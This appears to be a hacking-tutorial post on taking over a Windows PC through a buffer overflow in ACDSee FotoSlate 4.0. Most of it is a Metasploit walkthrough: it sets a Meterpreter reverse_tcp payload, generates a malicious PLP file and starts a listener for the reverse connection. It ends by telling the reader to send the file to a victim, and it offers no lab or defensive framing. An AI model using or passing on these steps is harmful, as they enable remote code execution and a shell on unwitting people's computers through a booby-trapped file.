Hack Remote Windows PC using ACDSee FotoSlate PLP File id Parameter Overflow

This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via a specially crafted id parameter in a String element. When viewing a malicious PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a buffer and execute arbitrary code. This exploit has been tested on systems such as Windows XP SP3, Windows Vista, and Windows 7.

Exploit Targets

ACDSee FotoSlate 4.0 Build 146

Windows XP SP2

Windows 7


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/fileformat/acdsee_fotoslate_string

Msf exploit (acdsee_fotoslate_string)>set payload windows/meterpreter/reverse_tcp

Msf exploit (acdsee_fotoslate_string)>set lhost (IP of Local Host)

Msf exploit (acdsee_fotoslate_string)>exploit

After we successfully generate the malicious plp File, it will stored on your local computer


Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost


Now send your msf.plp files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.

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